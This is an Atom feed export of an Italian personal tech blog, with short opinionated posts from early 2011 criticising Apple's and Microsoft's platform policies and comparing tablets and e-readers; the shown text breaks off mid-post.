<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-366971592391108583</id><updated>2011-10-17T21:56:01.751+02:00</updated><category term='bootloader'/><category term='Linux'/><category term='perl'/><category term='microsoft'/><category term='freedom microsoft'/><category term='freedom apple'/><category term='powerpc buffer overflow bof'/><category term='backup linux rsync'/><category term='chroot'/><category term='Fix'/><category term='powerpc archlinuxppc'/><category term='video radeon acceleration  3d linux'/><category term='giornalismo'/><category term='life'/><title type='text'>DaNiMoTh's place</title><subtitle type='html'>There's nothing like ~</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>38</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-6211420580602059381</id><published>2011-02-18T00:10:00.000+01:00</published><updated>2011-02-18T00:10:29.033+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='freedom microsoft'/><title type='text'>Windows Phone 7 Store: No GPL, thanks</title><content type='html'>Come riportato qui [], la permissiva licenza di questo Windows Store NON permette la vendita / distribuzione di codice sotto *GPL.&lt;br /&gt;&lt;br /&gt;Passi per tutte le altre limitazioni (no opengl, no html5, no multithreading, no linguaggi diversi da C# e VB...) ma nemmeno scegliere la licenza per il proprio programma...&lt;br /&gt;&lt;br /&gt;Direi che come al solito, siamo alle comiche: spero proprio che Nokia fallisca.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[] http://discussion.forum.nokia.com/forum/showthread.php?219222-Symbian-C-to-WP7-migration-questions&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-6211420580602059381?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/6211420580602059381/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=6211420580602059381' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/6211420580602059381'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/6211420580602059381'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2011/02/windows-phone-7-store-no-gpl-thanks.html' title='Windows Phone 7 Store: No GPL, thanks'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-7847319148116875074</id><published>2011-02-10T09:56:00.000+01:00</published><updated>2011-02-10T09:56:05.819+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='freedom apple'/><title type='text'>E se i giornali si potessero vendere solo su iTunes?</title><content type='html'>Se ne stanno incominciando ad accorgere anche quelli dell'unione europea. Ve lo immaginate lo scenario dove i quotidiani on line si potessero acquistare solo via itunes? Il 30% se lo mangerebbe Apple, in barba a tutti quelli che dicevano "una bella rivoluzione".&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Quando si tratta di libertà, con Apple non si può dialogare.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[] http://www.downloadblog.it/post/13766/futuro-delleditoria-lenpa-contro-apple&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-7847319148116875074?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/7847319148116875074/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=7847319148116875074' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/7847319148116875074'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/7847319148116875074'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2011/02/e-se-i-giornali-si-potessero-vendere.html' title='E se i giornali si potessero vendere solo su iTunes?'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-3739703873180274935</id><published>2011-02-10T09:28:00.001+01:00</published><updated>2011-02-10T09:28:30.628+01:00</updated><title type='text'>Anche flash su OSX dice addio ai ppc</title><content type='html'>Peccato che sia l'ora di HTML5 :)&lt;br /&gt;&lt;br /&gt;Basta flash!&lt;br /&gt;&lt;br /&gt;[] http://www.melablog.it/post/13437/flash-player-102-dice-addio-ai-powepc&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-3739703873180274935?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/3739703873180274935/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=3739703873180274935' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/3739703873180274935'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/3739703873180274935'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2011/02/anche-flash-su-osx-dice-addio-ai-ppc.html' title='Anche flash su OSX dice addio ai ppc'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-6908392896486825196</id><published>2011-02-10T09:26:00.001+01:00</published><updated>2011-02-10T09:27:00.681+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='freedom apple'/><title type='text'>Ancora death grip sugli iPhone Verizon</title><content type='html'>La storia sembra destinata a non finire mai. Neppure dopo un re-design il problema sembra risolto definitivamente.. Cara Apple, ma provarle le cose?&lt;br /&gt;&lt;br /&gt;mah&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[] http://www.melablog.it/post/13440/iphone-verizon-ancora-problemi-dantenna&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-6908392896486825196?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/6908392896486825196/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=6908392896486825196' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/6908392896486825196'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/6908392896486825196'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2011/02/ancora-death-grip-sugli-iphone-verizon.html' title='Ancora death grip sugli iPhone Verizon'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-8114366878468873829</id><published>2011-02-10T09:23:00.000+01:00</published><updated>2011-02-10T09:23:36.885+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='microsoft'/><title type='text'>Ciao ciao autorun..</title><content type='html'>Per una volta, Microsoft ha fatto la cosa giusta: ha eliminato l'autorun dai dispositivi (cd, usb) nelle vecchie versioni (ancora usatissime) del suo avanzato sistema operativo.&lt;br /&gt;&lt;br /&gt;Come dissi tempo fa: SO da schi{f,t}o !&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-8114366878468873829?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/8114366878468873829/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=8114366878468873829' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/8114366878468873829'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/8114366878468873829'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2011/02/ciao-ciao-autorun.html' title='Ciao ciao autorun..'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-3824807739373757281</id><published>2011-02-03T09:54:00.001+01:00</published><updated>2011-02-03T09:54:07.976+01:00</updated><title type='text'>Scoop!</title><content type='html'>Divertente sito di news sul mondo Apple :-)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[] http://scoopertino.com/&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-3824807739373757281?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/3824807739373757281/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=3824807739373757281' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/3824807739373757281'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/3824807739373757281'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2011/02/scoop.html' title='Scoop!'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-3581704819086821560</id><published>2011-02-02T15:41:00.000+01:00</published><updated>2011-02-02T15:41:09.686+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='freedom apple'/><title type='text'>Chi siete? Dove andate? Sì, ma quanti siete? Un fiorino!</title><content type='html'>Apple ancora una volta ha ribadito che le cose o si fanno come vuole lei (e al suo prezzo) o non si fanno.&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;Paragrafo 11.2 (AppStore Guidelines)&lt;/i&gt;&lt;br /&gt;&lt;i&gt;"Le &lt;em&gt;app&lt;/em&gt; che per l'acquisto di contenuti e servizi utilizzano un sistema diverso da quello previsto dalle API &lt;em&gt;in-app purchase&lt;/em&gt; verranno respinte"&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;[] http://punto-informatico.it/3081527/PI/News/apple-nessun-acquisto-al-fuori-me.aspx&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-3581704819086821560?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/3581704819086821560/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=3581704819086821560' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/3581704819086821560'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/3581704819086821560'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2011/02/chi-siete-dove-andate-si-ma-quanti.html' title='Chi siete? Dove andate? Sì, ma quanti siete? Un fiorino!'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-837135567416333950</id><published>2011-01-28T10:37:00.000+01:00</published><updated>2011-01-28T10:37:40.182+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='freedom apple'/><title type='text'>Perche' l'iPad e' meglio di aPad?</title><content type='html'>L'aPad e' un clone cinese, con Android 2.1, dell'iPad. A conclusione dell'articolo (preso su newnotizie, da sempre fonte sicura per chi ha voglia di un po' di comicita'), c'e' la risposta alla domanda in oggetto. Riporto:&lt;br /&gt;&lt;br /&gt;&lt;i&gt;"l'iPad è così&lt;strong&gt; &lt;/strong&gt;trendy, elegante e raffinato che batte il suo falso cinese già alla prima vista."&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Ecco le vere caratteristiche che ti fanno spendere 800 euro: trendy, elegante e raffinato.&lt;br /&gt;Wow.&lt;br /&gt;&lt;br /&gt;[] http://www.newnotizie.it/2011/01/24/boom-di-apad-limitazione-cinese-del-tablet-apple/&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-837135567416333950?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/837135567416333950/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=837135567416333950' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/837135567416333950'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/837135567416333950'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2011/01/perche-lipad-e-meglio-di-apad.html' title='Perche&apos; l&apos;iPad e&apos; meglio di aPad?'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-7344359420645693933</id><published>2011-01-28T10:16:00.000+01:00</published><updated>2011-01-28T10:16:50.277+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='freedom apple'/><title type='text'>The Daily: ancora un rinvio</title><content type='html'>C'e' stato l'ennesimo rinvio del quotidiano di Murdoch, ancora problemi tecnici. Non possiamo sapere che tipo di problemi siano (solo ipotizzare) ma per fortuna che l'iBad era la piattaforma perfetta per una cosa del genere :-)&lt;br /&gt;&lt;br /&gt;Collegata alla news, si parla di un probabile sbarco su Android (che i top manager abbiano visto i dati delle vendite, con Android in super ascesa?) ma io rilancio con una provocazione: come faranno a portare quella applicazione su android ? E se volessero su Meego? E sul kindle ?&lt;br /&gt;&lt;br /&gt;Credo che la cosa migliore siano un insieme di API comuni. Peccato che cio' non arrivera' mai... (per colpa di tutti stavolta, non solo di apple)&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-7344359420645693933?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/7344359420645693933/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=7344359420645693933' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/7344359420645693933'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/7344359420645693933'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2011/01/daily-ancora-un-rinvio.html' title='The Daily: ancora un rinvio'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-6234106742834791102</id><published>2011-01-22T12:53:00.001+01:00</published><updated>2011-01-22T12:54:01.551+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='freedom apple'/><title type='text'>Apple, e libera 'sti dispositivi !</title><content type='html'>Cosi' almeno i tuoi utenti potranno apprezzare un software ben scritto e pieno di funzionalita' : XBMC.&lt;br /&gt;&lt;br /&gt;I suoi sviluppatori hanno rilasciato la versione per ARM: sul loro sito potete trovare tutte le caratteristiche che, se Apple volesse (ma non vuole perche' e' in diretta concorrenza con i suoi prodotti..) potrebbe invogliarmi a comprarmi una AppleTv.&lt;br /&gt;&lt;br /&gt;Perche' con quel software, l'AppleTv non sarebbe legata ad iTunes, ogni video che mi voglio guardare non necessiterebbe di una codifica, potrei condividere i video sulla rete.. e avrei accesso alla decodifica hardware per i video fullhd.&lt;br /&gt;&lt;br /&gt;Chi l'ha detto che l'Apple e' sempre avanti?&lt;br /&gt;&lt;br /&gt;[]&amp;nbsp;http://xbmc.org/theuni/2011/01/20/you-asked-for-it-xbmc-for-appletv2-ipad-iphone4/&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-6234106742834791102?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/6234106742834791102/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=6234106742834791102' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/6234106742834791102'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/6234106742834791102'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2011/01/apple-e-libera-sti-dispositivi.html' title='Apple, e libera &apos;sti dispositivi !'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-7122990904950862433</id><published>2011-01-20T21:02:00.000+01:00</published><updated>2011-01-20T21:02:25.596+01:00</updated><title type='text'>Cook: tutto cio' che non e' iBad e' stupido e bizzarro</title><content type='html'>In sintesi, questo e' il pensiero di colui che recentemente ha preso il posto dell'altro genio della lampada Jobs.&lt;br /&gt;&lt;br /&gt;Giusto perche' sono buono, vi rimando ad un articolo che fa la comparazione tra l'iBad e il Samsung Galaxy Tab, se non l'avete mai letto [2].Giusto per riassumere, il galaxy tab sta in tasca, ha foto+videocamera e permette di mandare mms e videochiamare. Ha il doppio della RAM, e durante la navigazione puo' vedere filmati in flash e riprodurre tutti i contenuti multimediali (compresi i DivX), bluethooth 3.0.&lt;br /&gt;&lt;br /&gt;Forse anche Cook (a questo punto sara' lui stupido e bizzarro.. che sia meglio che continui a comprare componenti piuttosto che parlare?) ha comprato un Galaxy Tab.. o stara' aspettando il RIM Playbook ? :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[1]&amp;nbsp;http://www.electronista.com/articles/11/01/18/apples.cook.says.small.tablets.odd/&lt;br /&gt;[2]&amp;nbsp;http://apple.hdblog.it/2010/09/14/ipad-vs-galaxy-tab-ecco-la-nostra-tabella-comparativa/&lt;br /&gt;[3] http://www.electronista.com/articles/11/01/07/we.test.the.blackberry.playbook.as.rim.hints.sync/&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-7122990904950862433?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/7122990904950862433/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=7122990904950862433' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/7122990904950862433'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/7122990904950862433'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2011/01/cook-tutto-cio-che-non-e-ibad-e-stupido.html' title='Cook: tutto cio&apos; che non e&apos; iBad e&apos; stupido e bizzarro'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-7096421561274464656</id><published>2011-01-20T20:46:00.001+01:00</published><updated>2011-01-20T20:46:34.877+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='giornalismo'/><category scheme='http://www.blogger.com/atom/ns#' term='freedom apple'/><title type='text'>Editoria digitale ed iPad? Gli utenti si sono accorti della fregatura</title><content type='html'>Riporto un articolo apparso su apple-blog, e in neretto le cose "apparentemente" dimenticate.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica; font-size: 13px; line-height: 22px;"&gt;Abbiamo affrontato più volte il tema dell’&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica; font-size: 13px; line-height: 22px;"&gt;&lt;span style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;editoria digitale,&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica; font-size: 13px; line-height: 22px;"&gt;&lt;a href="http://www.blogger.com/goog_423051742"&gt;&amp;nbsp;&lt;/a&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica; font-size: 13px; line-height: 22px;"&gt;applicata ai dispositivi mobili, come l’&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica; font-size: 13px; line-height: 22px;"&gt;iPad&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica; font-size: 13px; line-height: 22px;"&gt;. E’ una tecnologia in pieno sviluppo, sia tecnologico che per quanto riguarda la diffusione fra gli utenti. Proprio l’&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica; font-size: 13px; line-height: 22px;"&gt;&lt;span style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;iPad&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica; font-size: 13px; line-height: 22px;"&gt;ha contribuito in maniera importante a questo sviluppo, &lt;b&gt;forse in un modo piu' pubblicitario che altro, dato che&amp;nbsp;&lt;/b&gt;già altri dispositivi (viene in mente il prodotto di Amazon) hanno iniziato a mettere in circolo l’editoria digitale, con &lt;b&gt;ottimi&lt;/b&gt; &lt;s&gt;buoni&lt;/s&gt; risultati &lt;b&gt;e soprattutto con una tecnologia migliore. Ricordiamo ad esempio come il display retroilluminato dell'iPad sia affaticante per gli occhi, mentre il display senza retroilluminazione del Kindle sia perfetto per la lettura anche all'esterno&lt;/b&gt;. Con l’espansione del mercato dell’editoria digitale, grazie ai nuovi dispositivi, si pensava che il&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica; font-size: 13px; line-height: 22px;"&gt;&lt;a href="http://www.blogger.com/goog_423051742"&gt;&amp;nbsp;&lt;/a&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica; font-size: 13px; line-height: 22px;"&gt;&lt;span style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;2011&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica; font-size: 13px; line-height: 22px;"&gt;&lt;a href="http://www.blogger.com/goog_423051742"&gt;&amp;nbsp;&lt;/a&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica; font-size: 13px; line-height: 22px;"&gt;poteva essere l’anno del definitivo lancio: i presupposti sono negativi. Infatti alcuni portali riportano cifre contrastanti, specie per quello che riguarda i&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica; font-size: 13px; line-height: 22px;"&gt;&lt;a href="http://www.blogger.com/goog_423051742"&gt;&amp;nbsp;&lt;/a&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica; font-size: 13px; line-height: 22px;"&gt;&lt;span style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;download periPad&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica; font-size: 13px; line-height: 22px;"&gt;: sono in calo. Il numero da giugno 2010 a questi primi giorni di gennaio 2011, è sceso, dai 100.000 download dei mesi estivi, siamo passati ad un crollo verticale, solo 23.000 download a fine 2010. Cos’è che ha contribuito a questo cambio di direzione? I costi dell’&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica; font-size: 13px; line-height: 22px;"&gt;iPad&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica; font-size: 13px; line-height: 22px;"&gt;&lt;a href="http://www.blogger.com/goog_423051742"&gt;&amp;nbsp;&lt;/a&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica; font-size: 13px; line-height: 22px;"&gt;sono noti a tutti, &lt;b&gt;a partire da 499 Euro, mentre&lt;/b&gt; alcuni dispositivi – probabilmente meno eleganti ma con un &lt;s&gt;simile&lt;/s&gt; potenziale &lt;b&gt;maggiore, dato che sono stati progettati apposta per la lettura, al contrario dell'iBad che in sostanza e' un iPod piu' grande&lt;/b&gt;&amp;nbsp;– hanno prezzi inferiori, &lt;b&gt;circa 139 dollari,&amp;nbsp;&lt;/b&gt;anche gli&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica; font-size: 13px; line-height: 22px;"&gt;&lt;a 